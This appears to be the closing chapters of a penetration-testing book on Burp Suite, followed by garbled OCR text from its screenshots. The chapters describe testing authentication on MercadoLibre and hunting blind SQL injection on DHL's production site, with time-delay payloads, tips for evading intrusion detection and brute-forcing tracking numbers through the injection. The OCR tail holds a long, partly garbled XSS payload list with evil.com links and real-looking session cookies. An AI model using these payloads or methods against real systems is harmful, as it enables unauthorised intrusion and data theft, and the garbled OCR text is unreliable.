Now, we are going to review issues related to authentication.



            

            
        
    




  

                            
                    Executing the extension

                
            
            
                
After you finish writing the extension, launch the Burp Suite application and then click on Run | Run Project. The application will be launched with our extension running into it.



For this extension, you need to create a session handling and configure the options in the User-Agent tab, as demonstrated in the following screenshot:



As you can see in the following screenshot, the application ran without errors:



If you want ...





  

                            
                    Summary

                
            
            
                
In this chapter, we analyzed how to create our own extension and the different functions and methods provided by PortSwigger, which not only helped us to create a new extension but also showed us how to modify existing extensions that needed to be adapted to our requirements.

The next chapter looks at a real-world case of how a large online retailer was compromised by having its authentication implementation broken.



            

            
        
    




  

                            
                    Breaking the Authentication for a Large Online Retailer

                
            
            
                
In the previous chapters, we reviewed how to detect many types of vulnerabilities, and how to exploit them. We also reviewed how to use a large variety of extensions, and also how to develop our extensions. In this chapter, we will recapitulate all the concepts from the previous chapters to assess an application in production and try to break its authentication.

We will cover the following topics in the chapter:


	Remembering about authentication

	Large online retailers

	Performing information gathering





            

            
        
    




  

                            
                    Remembering about authentication

                
            
            
                
As you remember from Chapter 7, Detecting Vulnerabilities Using Burp Suite, the issues that affect authentication controls are the following:


	Weak storage for credentials

	Predictable login credentials

	Session IDs exposed in the URL

	Session IDs susceptible to session fixations attacks

	Wrong time out implementation

	The session is not destructed after the logout

	Sensitive information sent via unprotected channels



Now, using Burp Suite, we are going to analyze all of these.



            

            
        
    




  

                            
                    Large online retailers

                
            
            
                
The list of online retailers is huge, but the following is a list of the more popular ones:


	eBay (all regional variants)

	Mercado Libre

	Amazon



We will analyze one of them as an example. Bear in mind that all the information used in this chapters is public; we are not going to disclose any public or private vulnerabilities on these applications and the explanations do not affect the functionality of the applications.



            

            
        
    




  

                            
                    Performing information gathering

                
            
            
                
We are going to start collecting information about the targets. The most basic way to detect information about the technology used in a specific application and to determine potential security issues is to first navigate all through the application, use the normal flows, detect and take note of each entry point in the application, and add the different URLs that are interesting to us to the Scope option in the Target tool.



            

            
        
    




  

                            
                    Port scanning

                
            
            
                
In a real assessment, an agreement between the person or company that is reviewing the application and the application's owners is established. This is one of the first steps involved in detecting the services.

This task is usually carried out using Nmap (https://nmap.org/), which is a command-line tool that is used to detect ports and services running on a remote host. Using Nmap is not complicated; you can just type nmap on a command line to see all the different options we have, as shown in the following screenshot:



To perform a standard scan to a host, we can use the following command:

nmap -vv -sV -O -Pn -p0-65535 -oA nmap_[IP] ...





  

                            
                    Authentication method analysis

                
            
            
                
You should analyze an application issue by issue to determine whether it is vulnerable or not, as explained in the following sections.



            

            
        
    




  

                            
                    Weak storage for credentials

                
            
            
                
The application is storing the session ID in a ciphered way, so it is not vulnerable to being extracted. Also, the session ID is combined with more than one token, and cookies are protected from extraction as shown in the following screenshot:





            

            
        
    




  

                            
                    Discovering Blind SQL injection

                
            
            
                
The URL that we will be analyzing is www.dhl.com. This is the international page, but if you visualize the regional websites, they are similar, so it is possible that a vulnerability in one of them replicates others. This happens to a lot of companies that have operations in various countries. Actually, sometimes the company has a different representation in a different country, but the web application is the same.

To determine whether dhl.com has an SQL injection, we will do three different analyses:


	Automatic scan

	SQLMap detection

	Intruder detection





            

            
        
    




  

                            
                    Predictable login credentials

                
            
            
                
The user enters the application using a username or an email, so the credentials are not predictable.



            

            
        
    




  

                            
                    Session IDs exposed in the URL

                
            
            
                
Reviewing the History tool, we can see that there are some tokens and sessions exposed in the URL as follows:



However, the application does not use just one token, so, having only one of them is not useful. Actually, one of the tokens sent in the URL is a request tracker, as shown in the following screenshots:









The conclusion is that, despite there being tokens exposed in the URL, they are not exploitable.



            

            
        
    




  

                            
                    Session IDs susceptible to session fixations attacks

                
            
            
                

	Open a user's session in a browser in the normal way.

	Then, open an other session for a completely different user.

	Now, intercept a request using the Proxy tool, and modify the user's information to try to access the second user's information, as follows:





When you open the https://www.mercadolibre.com.mx/ web page, you notice that the application shows the first information's user. So, it is not vulnerable to session fixation.





            

            
        
    




  

                            
                    The session is not destructed after the logout

                
            
            
                
Close the session using the logout option, then go to History, and look for a request made while the user was logged in. Right-click on Send to repeater, and, without modifying any value, click on Go to resend the request, as follows:



The result is the application being shown without the user being logged in. So, the application is not vulnerable.

Since we have used a Mexican website for authentication, some of the text in the screenshot is in Spanish.





            

            
        
    




  

                            
                    Sensitive information sent via unprotected channels

                
            
            
                
Just using passive scanning, which means without aggressive actions, Burp Suite detected that the users can force the application to be used in an unprotected channel. This means that instead of using the HTTPS protocol, a user can force the use of the HTTP protocol and send information in clear text. It could be exploited by a malicious user, combined with other flaws to steal a user's information, as shown in the following example:



This flaw is confirmed.



            

            
        
    




  

                            
                    Summary

                
            
            
                
In this chapter, we showed the analysis of a real application. The tasks performed included protocol and service detection, request and post analysis, and vulnerability detection. 

In the next chapter, we will perform the same activities that we discussed in this chapter using one of the most popular shipping companies: DHL.



            

            
        
    




  

                            
                    Exploiting and Exfiltrating Data from a Large Shipping Corporation

                
            
            
                
All companies, businesses, and industries use technology, and the way they use it is different. It is not the same web application for a retailer where there are priorities such as continuous services and big performance, as in an online banking application, where you need to be highly secure. Of course, all of these applications have common points, but as it is impossible to apply all controls, the most important thing is prioritizing the real requirements.

In this chapter, we will discuss another scenario, a shipping company. We will perform the same activities as in the past example, but this time using one of the most popular shipping companies: DHL.

We will be covering ...





  

                            
                    Automatic scan

                
            
            
                
The simplest way to detect vulnerabilities such as SQL injections is by using Burp Suite's scanner:


	To launch the scan, open Burp Suite, go to the main Dashboard, and click on New scan:





There is an option that we did not explore previously, which is used to control the scope during a scan. Imagine that your scope is not all of the DHL website—it is just www.dhl.com, but there are other applications, such as mydhl.dhl.com and intranet.dhl.com, and so on.


	To avoid that, Burp Suite can scan these other applications; click on Detailed scope configuration. Here we will see two tabs named Include prefix options and Exclude prefix options. Go to the second tab, Exclude Prefix Options, and enter the applications we don't want to test, as follows:





As we can see in the preceding screenshot, it is not necessary to add all the URLs.


	If we want to be more selective about the scope, we can choose a single URL and by clicking on Use advanced scope control, we can add each URL we want to test or not to test in the scope, as follows:





Burp Suite's scanner provides us with more options to control the scan.


	Click on Scan configuration. Here, you can configure options about how the scanner will perform the application discovery and how the security testing will be performed.




	Click on Add new, and Burp Suite will launch a new window where it is possible to create a new rule, as follows:






	In Audit optimization, we can define how fast the assessment is. I recommend selecting low fast. This is to avoid intrusion detection systems, load balancers, and other security and network appliances that can block the scanner. If you are testing in a QA environment where you have full control and direct access to the application server, without any network security control, you can select Fast.




	The next section, Issues reported, is for selecting the scan policy. Burp Suite by default has divided the possible issues by categories. However, you can also select by type. For example, for this exercise, we just select SQL injection vulnerabilities. It is very useful for fixing or verifying bugs, for example:






	In the Handling Application Errors During Testing tab, it is possible to configure how Burp Suite take actions when detecting errors. These options can help us to stop the scan when necessary. For example, currently, it is usual that some applications are hosted in a cloud service. The cloud services are great at blocking scanning activities, so it is probable that if we are testing a cloud hosted website, after a few minutes of testing, our IP address will get blocked and Burp Suite just receives timeout errors. We can stop the scan when this type of error occurs.

	In Insertion point types, it is possible to define where you want to inject testing strings. For example, you can limit the testing just to the URL parameters, cookies, and so on. In my experience, it is better to test all the entry points that you can.

	Ignoring insert points is an interesting option that could be useful when we want to limit the noise generated by the application or just reduce the number of tests.



Do you remember that, in Intruder, you can select the parameters to test? Well, this is something similar to that. If we have tracking tokens or a session ID stored in a variable, it is not a good idea to test it, so we can get out of the scope by using this option:



After configuring the options, click on Save and then on OK to start the scan. If you think it could be a policy to apply and will be required for more types of applications, you can save it as a library and reuse it. Scan results will be shown in the right section.



            

            
        
    




  

                            
                    SQLMap detection

                
            
            
                
Now, we are going to use SQLMap to detect and exploit SQL injections in the DHL site.



            

            
        
    




  

                            
                    Looking for entry points

                
            
            
                
The DHL application looks like this:



Straight away, we can see different inputs to test, for example, the search bar and the tracking box, but look at the following request:



 

In this request, we can see some variables, but to determine which of them can be used as injection points, we need to analyze the behavior they have, as follows:


	brand: It looks like the application supports some companies, so maybe "DHL" is part of a catalog, and it could be susceptible to injection.

	AWB: This variable is a tracking number, which is used to look for the location of a package. It is obvious that this is a great entry point.

	AWBS_crossrefpar1_taskcenter_taskcentertabs_item1229046233349_par_expandablelink_insideparsys_fasttrack: It also looks like an ID, so it could be an injection point.



It is important to reduce the number of points to test, because in a productive application, the more testing that's done, the more that noise is created.



            

            
        
    




  

                            
                    Using SQLMap

                
            
            
                
Using the secondary button of the mouse, click on Send to SQLMapper, as follows:



To limit the parameters to test, go to the Injection tab and enter the parameters, separated by commas, and click on the Run button.

SQLMap will be launched and, if any of these parameters are vulnerable, SQLMap will detect and exploit the injection. When SQLMap detects that you are exploiting a Blind SQL injection, it will ask you to continue. Just press Y.



            

            
        
    




  

                            
                    Intruder detection

                
            
            
                
Detecting SQL injections using a manual request is also an option. I recommend that you perform it when you are reviewing an application without a successful vulnerability detection.

First, we detect the entry points, as we reviewed in the previous section. To detect vulnerable points related to Blind SQL injection, you can use the following testing string:

' waitfor delay '0:0:30'—

We can also use its counterpart in the DBMS. But why should we do that? Well, as you may remember, the most important characteristic in Blind SQL injections is that they do not return errors or outputs directly to the user. So, by using this string, we are waiting to see the delay in the response:


	To cover more parameters, we need the Intruder tool. Do the same analysis about the parameters behavior to determine which request could be susceptible to being vulnerable and, using the secondary button of the mouse, click on Send to Intruder as follows:






	In Intruder, for a fast testing, add the delay query as the only one payload and launch it to all the parameters, as follows:





 


	Back in the Positions tab, click on Start attack. If you think you have detected a possible vulnerability, right-click on the request and select Send to repeater. Once you are in the repeater, modify the testing string to add more delay time, as follows:



' waitfor delay '0:0:10'—
' waitfor delay '0:0:20'—
' waitfor delay '0:0:30'—
' waitfor delay '0:0:40'—
' waitfor delay '0:0:50'—
' waitfor delay '0:0:59'—

The idea is to determine when to use the time to receive the response, if the vulnerability actually exists.

It is possible to use the Burp Suite Collaborator. It is a good trick to use it in these cases, as the Collaborator is an external entity that interacts as receptor to send the database's output, as shown in the following screenshot:





            

            
        
    




  

                            
                    Exploitation

                
            
            
                
After you have detected a vulnerable variable, mark it with a wildcard in the Intruder tool.

Imagine you want to know the tracking number of a package in the shipping website. Click on the Payloads tab, and as the payload type, select the Numbers option. We will need to inject a range of numbers, from 0000000000 to 9999999999, from one to one, as follows:



As it is not possible to dump the registers stored in the database, we will find the tracking number using a Boolean value. Send a request using the correct tracking number, by our Intruder attack; the application will return a True value in as a response:


For easy detection, ...





  

                            
                    Summary

                
            
            
                
In this final chapter, we reviewed other scenarios that can be used to assess an application. In this chapter, we looked for SQL injections and exploited one of them using different methods.

For an application security assessment, I recommend avoiding the manual exploitation methods, because we will have less time to use them. They are useful when it is not possible to find vulnerabilities using other methods.

In this chapter, you learned how to analyze the parameter behavior in a request to infer what could be vulnerable and reduce the time analysis. Later, we looked into detecting Blind SQL injection vulnerabilities using Burp Suite's scanner, SQLMap, and the Intruder tool. Finally, we learned how to guess a tracking number using Intruder to exploit a Blind SQL injection.



            

            
        
    




  

                            
                    Other Books You May Enjoy

                
            
            
                
If you enjoyed this book, you may be interested in these other books by Packt:



Hands-On Penetration Testing with Python
Furqan Khan

ISBN: 978-1-78899-082-0


	Get to grips with Custom vulnerability scanner development

	Familiarize yourself with web application scanning automation and exploit development

	Walk through day-to-day cybersecurity scenarios that can be automated with Python

	Discover enterprise-or organization-specific use cases and threat-hunting automation

	Understand reverse engineering, fuzzing, buffer overflows , key-logger development, and exploit development for buffer overflows.

	Understand web scraping ...






  

                            
                    Leave a review - let other readers know what you think

                
            
            
                
Please share your thoughts on this book with others by leaving a review on the site that you bought it from. If you purchased the book from Amazon, please leave us an honest review on this book's Amazon page. This is vital so that other potential readers can see and use your unbiased opinion to make purchasing decisions, we can understand what our customers think about our products, and our authors can see your feedback on the title that they have worked with Packt to create. It will only take a few minutes of your time, but is valuable to other potential customers, our authors, and Packt. Thank you!
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) aoosgenmasrogesermoomy [l e ve)
[ do=toggle-securityapage=/app/home php | | GET /index.php?page=client-side-control-challeng
[2) do=toggle-securitygpage=client-side-cont{ = Host: mutillidae-testing.cxm
[A do=toggle-security&page=user-info php User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64
page=/documentationvuinerabiiiies php |- Accept: text/html,application/xhtml+xml,applicati
@ page=add-to-your-blog.php Accept-Lancuage: en-US en:a=0.5
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Reguest | Response

Raw | Params | Headers | Hex

POST /session/replicate/1551073283525-39dv0gli105ubqls31edoBsvifi7rm3 HTTP/1.1
Host: auth.mercadopago.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtmi+xm application/xml;q=0.9,mage/webp,/*;q=0.8
Accept-Language: en-US en:q=0.5
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©Google Gruyere © Hackor
© WackoPicko ©OBodgelt
Ocyelone Orenuggia

OLD (VULNERABLE) VERSIONS OF REAL APPLICATIONS

©wordpress ©0rangeHRM
©GetBoo ©crD-PHP
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Ocallery2 O ik wiki

©joomla © awstats
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[ connections | HTTP |'ssL | sessions | misc |

(@ sSL Negotiation

£} These settings control the SSL protocols and ciphers that Burp will use when performing SSL negotiation with upstream servers. If you are experiencing problems with SSL negoiation, you
can use these settings to request se of specific protocols or ciphers. Use these options with caution as misconfiguration may break all your outgoing SSL connections.

@ Use the default protocols and ciphers of your Java installation

© Use custom protocols and ciphers

SSL Negotiation Workarounds

) Automatically select compatible SSL parameters on negotiation failure
([ Allow unsafe renegotiation (required for some client certificates)

[ Disable SSL session resume

Client SSL Certificates

These settings are configured within user options but can be overridden here for this specific project

@
©
([ Override user options

(@ server SSL Certificates

() This panel shows a st of the unique SSL certificates received from web servers. Double-click an item o show the full details of the certificate.

Host | Name. | Issuer
raw githubusercontent com www_github.com DigiCert SHAZ High Assurance Server CA I
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Dashboard

Proxy

Intruder Repeater

] stemap [ scope | issue demniions || -

Sequencer

Decoder ‘Comparer Extender

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

>
>

http://detectportal.firefox.com
http://uploadscannerextension local

[“Tehtipiisa 16856101 | [contents

http:/192.168.56.101  GET
http:/192.168.56.101  GET
http://192.168.56.101  GET
http://192.168.56.101 GET
http://192.168.56.101 GET
http://192.168.56.101  GET
http://192.168.56.101  GET
http://192.168.56.101 GET

Invwaljsijquery js

/xvwalvuinerabilities/s...

1

Ixvwal
Ixvwalinstruction.php
/xvwa/login.php
Ixvwa/setup/
Ixvwalvulnerabilities/c

| @ceartensuomisson ofpassword |
@) Password field with autocomplete enabled
@) unencrypted communications

! Cookie without HttpOnly flag set

i Frameable response (potential Clickjacking)

GET /xvwaljs/bootstrap.min js HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:64.0) Gecko/20100101 Firefox/64.0

Accept */*
Accept-Language: en-US en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/xvwalvulnerabilities/sqli_blind/

Connection: close

Cookie: PHPSESSID=jg902ds5dqpbuh7s0lgajgkk76

® < ||+ ]| 2| |Typeasearchterm

0 matches

 Aavisory [ Request [ Response |

0 Cleartext submission of password

Issue: Cleartext submission of password
Severity: High
Confidence: Certain

Host: http://192.168.56.101
Path: Ixvwalvulnerabilities/sqli_blind/
Issue detail

The page contains a form with the following action URL, which is
submitted over clear-text HTTP:

» hitp://192.168.56.101/xvwa/login.php _'j
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@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack
‘available for each payload set, and each payload type can be customized in different ways.

Payload type: | Simple ist Request count: 61,632

@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

Paste ‘@#5% A

@#s%"

Load .. | |'@#5%"8

@#s%"s"

Remove | |'root >

SSRV
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Payload type: | Numbers |8  Request count: 80,000

Payload Options [Numbers]
This payload type generates numeric payloads within a given range and in a specified format
Number range

Type: @ Sequential O Random
Fom
=

How many:

Number format
Base: © Decimal O Hex

e [
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(@ SSL Negotiation

£} These settings control the SSL protocols and ciphers that Burp will use when performing SSL negotiation with upsiream servers. If you are experiencing problems with SSL negoiation, you
can use these settings to request use of specific protocols or ciphers. Use these options with caution as misconfiguration may break all your outgoing SSL connections.

© Use the default protocols and ciphers of your Java installation
@ Use custom protocols and ciphers

SSL Protocols

| selectanl | Enabied | Protocol
] TLSV13
[[selectnone | | g s>
(/] TLSVI1 o
(/] TLSv1
(] ssLva
0 L2Helln
SSL Ciphers
| selectall | Enabied | Cipher
] TLS_AES_128_GCM_SHA256
[ setectnone | @  TLS_AES_256_GCM_SHA384
@  TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 e
@  TLS_ECDHE_ECDSA_ WITH_AES_128_GCM_SHA256
@  TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

SSL Negotiation Workarounds

) Automatically select compatible SSL parameters on negotiation failure
([ Allow unsafe renegotiation (required for some client certificates)

[ Disable SSL session resume
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® Payload Encoding
This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

M URL-encode these characters: | N=<>7+&""{}|*"
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[t [ e |
| Raw | Params [ readers | rex |

GET /en/express)tracking.hu
fost: www.dal.com
User-Agent: Mozilla/5.0 (Windows NT 6. 64; %64; rvi66.0) Gecko/20100101 Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xmi;q=0.9,/%;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Enceding: gzip, deflace

Referer: hrcp://www.dhl.com/en.heml

Connection: close

Cookie: TSOL6£3c0b=01914b7434£17097280bbE ed5d20e3a08401c3ead382529ee113535761457e30e be35e2882e6e7c2d5164881977 26 ects1e:
ak_bmsc=E8DEC299FCDOFFT336FAS23D4494D07EL TDELCAFBF2B00004159 6F5C5 6417C6C-ploZ 6URKNGMOe JwEnzoykd SkiweCCY¥ZD2 4K D/ TdnKT Qe IUKULEVL,
SmrT7YnU+4YDWGKABT1doDCZpN/c2Ug?/bghNuivFbSgMi P64 90BTDEZLFZyBLy:
bm_sv=7C76F356CE727ECEGC365398 900457 68 ~B0R0a PHEPAYIMZOp2WD2qKo3 AU +CKIETESAAQ / nWoTBr +1buVepFpdesBIGKLw I 6CKVES YL 4A0aNpg fNPQFAKPH QSN JuqTEEaz X8R dRSSVNIwSmC1 BuzVML] TabeV 3 1bs404+01wOVSLVIA==; dhl_cookie_consent=shown:
AWBS_crossrefparl_taskcenter_taskcentertabs_iteml223046233349 par_expandablelink_insideparsys_fasctracke1323876789; BRAND crossrefparl taskcenter_taskcentertabs_iteml229046233349_par_expandablelink_insideparsys_fasttrack=DHLA20ALrAZOwaybill
Upgrade-Insecure-Requests: 1

Drand=DHLGAWB=1523876785%0D40R HIT

7i.1

TS

WYsMsTazw

£FOT3J0¥Tdlrrc+smVChYOTAAOLBTANSOZAGY seY FHSKI £csNDBZORKEP1 KYHARNAQLL foC4M IOy JghSTNCDApS w257 DupL/ SYTE AMNK TR

@ (=] (=] (2] [1ype search tom 0 matches
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@ contiguraton ame |

Expand the areas that you want to define in this configuration.

> Audit Optimization Not defined
> Issues Reported Not defined
> Handling Application Errors During Audit Not defined
> Insertion Point Types. Not defined
> \g Parameter Locations Not defined
> lgnored Insertion Points Not defined
> Frequently Occurring Insertion Points Not defined
> Misc Insertion Point Options Not defined
> JavaSeript Analysis Not defined

S
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Reguest | Response

Raw | Headers | Hex

POST /sessionfreplicate/1551073283525-s3lpud5b7pi782c6dtk8nnip1g9k55qa HTTP/1.1

Host: auth.metroscubicos.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtmk+xml,application/xml;q=0.9,image/webp, /*;q=0.8
Accept-Language: en-US en:q=0.5
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<form id="test"></form><button form="test" formaction="javascript:ialert(l)">X</button>
cinput onfocus=urite(l) autofocus>
<input omblur—write (1) autofocus><input autofocus>
<video poster=javascriptialert(1)//></video>
<body onscrollmalert (1) ><br><br><br><br><br><br>
<form id-test onforminput=alert(1)><input></form><button form=test onformchangs
<video><source onerror=talert (1)">
<video onerror=valert(1)"><source></sources</video>
<form><putton formaction="javascript:alert (1)">X</button>
<body oninput=alert (1)><input autofocus>
<math href-"javascript:ialert(1)">CLICKME</math> <math> <!-- up to FF 13 -—-> <maction actiontype
<form action= ‘usernamer value="admin” /> <input name="password” type=
clink re
<ifreme srcdoc="glt;img srciequals;x:x onerroréequals;alertélpar;lerpar;&gt:" />
x"><img onerror="alert(1)"></picture> <picture><img srcset="x" onerror=valert(l)"></picture> <img srcset
<a href="//evil.com" target="_blank" rel-"noreferrer">CLICK</a> // window.opener will be null <map><area href="//evil.com" target="_blank" rel-"noreferrer">CLICK</area></map> // window.opener will be null <svg><a xlink:hre
<ifreme srcdoc="<svg onload=alert (1)&nvgt;"></iframe> <a href="javascript:éapos;<svg onloadéequals;alertélpar;l&rpar;&nvgt;&apes; ">CLICK</a>
fChrome, Opera, Sefari and Edge <div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div> <div style="-webkit-user-modify:read-write" onfocu:
<aetails open ontoggle=ralert (1)
<video src onratechange="alert(1)">
<frameset onload=alert(1)>
<table background="javascripe:alert (1)"></table>
<1--<img sro="--><img sro-x onerror-alert(1)//">
<comment><img src="</comment><img src=x onerror=alert(1)//">
<1-- up to Opera 11.52, FF 3.6.28 —-> <![><img sro="]><img src=x omerror=alert(1)//"> <
<style><img sro="</style><img src=x onerror=alert(1)//">
<11 style-list-style:url() omerror-alert(1)></1i> <aiv stylecontent:url(data:image/svg+xml,33Csvg/33E) ;visibility:hidden onload=alert (1)></div>
<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//$">XKX</a></body>
<SCRIPT FOR-document EVENT-onreadystatechange>alert (1)</SCRIET>
<OBJECT CLASSID="clsid:333CTBC4-460F-11D0-BC04-0080CT055AE3"><PARAN NAME="DataURL" VALUE
<object data="data:text/ntml;base64, PHN)cnlwdDShbGVYACaXKTwve2NyaXBORg="></abject>
<embed src=rdata:text/html;base6d, PHN)cmludDShbGYYACoXKTwve2NyaXBOPg=="></cnbed> <embed src="javascript:
<o <script>alert (1)//</script>0</scripe></b>
<div id="divi"><input value=""'ommouseoveralert (1)"></div> <div id="div2"></div><script>document.getElementByld("div2") .innerHTML = document.getElementByld ("divi") .innerHTML;</script>
<i-- IE 6-8 —-> <x '="foo"><x foo='><img srcex omerzor=alert(1)//'> <!-- IE 6-9 ——> <! '="foo"><x foo='><img sro=x onerror=alert(2)//'> <2 '="foo"><x foo='><img src=x onerror=alert(3)//'>
<embed src="javascriptialert(1)"></embed> // 010.10), OM10.0i, GC6i, FF <img src="javascriptialert(2)"s <image src="javascript:alert(2)"> // IE6, 010.10, OMI0.0) <script src="javascriptialert(3)"></script> // IE6, 011.01i, OM10.1
<div style—width:ipx;filter:glow onfilterchange-alert(1)>x</div>
<object allowscriptaccess=malways" data="test.swin></objects]
class XSS {public static function main() {

f£lash.Lib.getURL (new flash.net.URLRequest(flash.Lib. root.url||"javascript:
I

[A] <2 foo="><scriptsalert(1)</script>"> <! foo="><script>alert (1)</script>"> </ foo="><scriptsalert(1)</script>"> [B] <2 foo="><x foo='?><script>alert(1)</script>'>"> [C] <! foo="[[[x]]1"><x foo="]foo><script>alert (1)</script>"> [D] <% foo><
<iframe src-mhtml:http://ntmlSsec.orq/test.html!xss.html></iframe> <iframe src-mhtml:http://htmlSsec.orq/test.qif 'xss.html></iframe>

<html> <body> <b>Some content without two new line \n\n</b> Content-Type: multipart/related; boundary="<+<<"<b>some Content Without two mew line</b> —-—***+*+ Content-Location: xss.html Content-Transfer-Encoding: base64 PGLmcmFTZSBUYWILEWx:
<i-- IE 5-9 —> <div id=d><x xmlns="><iframe onload=alert (1)"></div> <script>d.innerHTMLi='';</script> <!-- IE 10 in IES-9 Standards mode —-> <div id=d><x xmlns='"><iframe onload=alert(2)//'></div> <script>d.innerHTML:='';</scripc>

<a nref=r[a]java(p]script[c] alert (1) "XNK</a>
<img src="x' ‘<script>alert(1)</script>"’ >
<img src onerror /" '"= altmalert(1)//">
<title onpropertychangealert (1)></titlex<title title=></title>
IE 5-8 standards mode —-> <a href-hutp://foo.bar/fx='y></a><img alt="'><img sro-xxix onerror-alert(1)></a>"> <!-- IE 5-9 standards mode --> <!a foo=x="y><img al
<1--[1f]><scriptalert (1)</script —-> <!--[1f<ing sro-x onerror-alert(2)//]> —->
<script src="/\example.com\foo.3s"></script> // Safari 5.0, Chreme 9, 10 <script src="\\example.com\foo.js"></script> // Safari 5.0
<object id="x" classid="clsid:CB927D12-4FF7-4ade-A162-S6E4B8AT5598"></object> <abject classid="clsid:02BF25D5-8C17-4823-BC80-D3488ABDDCEB" ongt_error="alert (1)" styl
<1-- “<img/srcmxx:xx onerror-alert(1)//--!>
<xmp> <% </xmp> <img alt='%></mmp><img src=xx:x onerror=alert(1)//'> <scripts x='<3' </script> 3>/ alert(2) </script> XKX <style> *['<
<frameset onpageshow="alert(1)"> <body onpageshowsralert(1)T>
<applet onerror=ralert (1)"></applec>
<a style="-o-link:'javascriptialert(1)';-o-link-source:current>¥</a>
<style>p[foo=bar{}*{-o-link: 'javascriptialert (1) '}{}*{-o-link-source:current}*(background:red}] (background:green};</style>
<link rel-stylesheet href-data:,*37bx:expression(write(1))37d
<style>@import "data:,*37bx:expression (write(1))$TD";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);
<style>+[{}@import'test.css?]{color: green:}</stylesX

<br><br><br><br><input autofocus>
lert (2) >X</button>

statusline$nten://oogle.con” xlink:href="javascriptialert (2) ">CLICKMEC/maction> <!-- FF 14+ --> <maction actiontype="statusline” xlink:hre
‘password” value="secret” /> <input name="injected” value="injected” dirname=rpassword” /> <input Type="submit"> </form>

/40, %" Onerzor=ralert (1)">

//evil.conn rel:

‘alert (1)" id="xss"> <div style="-webkit-user-modify:read-write-plaintext-only" onfocu:

IES+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --> <svg><![CDATA[><image xlink:href="]]><img src=xx:ix onerror=alert(2)//"></svg>

"javascriptialert (1) "></OBJECT>

lert (1) "></embed> // Firefox only

lerc(1)"),flash.Lib._root.name||"_top’

“><img sro=xxix onerror-alert(2)//"> <?a foomx="y><img alt

‘behavior:url (§x) ; "><param name=postdomevents /></object>

14} </style> —->(} *{color:redi</style>

>X04</a></a><a hre:

lert (2) ">XNK</ 2>
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20ST /catalog/search HTTR/1.1
Host: example.org
Content-Type: text/xml
Content-Length: 62

Casorysiguossages 1% meipeiges atrs (1) 16 seipeigs </ avesy
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Request

Raw | Params | Headers | Hex

POST /server.php HTTP/L.1

Host: w. example. con

User-Agent: 000

Accept: application/json, text/javascript, */+; g=
Accept-Language: en-Us,en;g=0.5

X-Requested-With: XNLHttpRequest

Cookie

Connection: close

Content-Type: application/x-wm-forn-urlencoded
Content-Length: 78

o1

action=handlenidgetFilesstyp

eletesfile=15FilehookURL=https: //u. REDACT. con]
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| CSRF Token Tracker | Deserializer | Deserialization Scanner | EsPReSSO |

Issue activity @F
Y Filter  High ~ Medium = Low ~ Info Certain ~ Firm  Tentative P | search.

#  v|Task |Time | Action [ Issue type. | Host [ Path

49 2 01:32:51 20 Feb 2019 Issue found @ Cleartext submission of password http://192.168.1.67 Idvwall(A

8 2 01:32:51 20 Feb 2019 Issue found i Frameable response (potential Clickjacking) http://192.168.1.67 Tdvwall

a7 2 01:32:51 20 Feb 2019 Issue found @) Unencrypted communications http://192.168.1.67 '

46 2 01:11:18 20 Feb 2019 Issue found 1 Email addresses disclosed http://testphp vulnweb.com  /userinf

5 2 01:11:18 20 Feb 2019 Issue found i Cookie without HitpOnly flag set http:/testphp.vulnweb com  fuserinf

m 2 01:11:11 20 Feb 2019 Issue found § Email addresses disclosed http:/testphp.vulnweb com  flogin p

13 2 01:11:11 20 Feb 2019 Issue found @) Password field with autocomplete enabled http:/testphp.vulnweb com  flogin p

12 2 01:11:11 20 Feb 2019 Issue found @ Cleartext submission of password http:/testphp.vulnweb com  flogin p

7 2 01:11:11 20 Feb 2019 Issue found i Frameable response (potential Clickjacking) http:/ftestphp.vulnweb com  /login.

10 2 01:11:06 20 Feb 2019 Issue found § Email addresses disclosed http:/ftestphp.vulnweb com  /logout.

39 2 01:11:06 20 Feb 2019 Issue found i Frameable response (potential Clickjacking) http:/ftestphp.vulnweb com  /logout.

38 2 01:11:01 20 Feb 2019 Issue found § Email addresses disclosed http:/ftestphp.vulnweb com  /

37 2 01:11:01 20 Feb 2019 Issue found i Frameable response (potential Clickjacking) http:/ftestphp.vulnweb com  /

36 2 01:11:01 20 Feb 2019 Issue found @) Unencrypted communications http:/ftestphp.vulnweb com  /

3% 2 00:00:33 20 Feb 2019 Issue found i DOM data manipulation (DOWM-based) https-//support mozilla.org  /en-Us

u 2 00:00:32 20 Feb 2019 Issue found ? Cross-site scripting (DOM-based) https-//support mozilla.org  /en-US

33 2 00:00:29 20 Feb 2019 Issue found § Cross-domain Referer leakage https-//support mozilla.org  /en-US

2 2 235913 19 Feb 2019 Issue found i Cookie without HitpOnly flag set htp://bigshot beer fwp-adr
30& 23:59:03 19 Feb 2019 Issue found i Cross-domain Referer leakage hitp://bigshot beer Iwp

<

Advisory | Request | Response

! Session token in URL

Issue Session token in URL
Severity: Medium

Confidence:  Firm

Host http:/ibigshot.beer
Path Iwp-ad:

Issue detail
‘The response contains the following links that appear to contain session tokens:

‘® fttp://bigshot beerfwp-admin/comment php?action=approv ecommentp=6308c=10361&_wpnonce=fd3380650d
® fttp://bigshot beerfwp-login php?action=logout&_wpnonce=47ac52e9d8

® http://bigshot beerfwp-admin/comment. php?action=unapprovecomment&p=630&c=103658_wpnonce=98fsbged7f
‘® http://bigshot beerlwp-admin/comment php?action=trashcomment&p=6308c=103658_wpnonce=ce213457ab

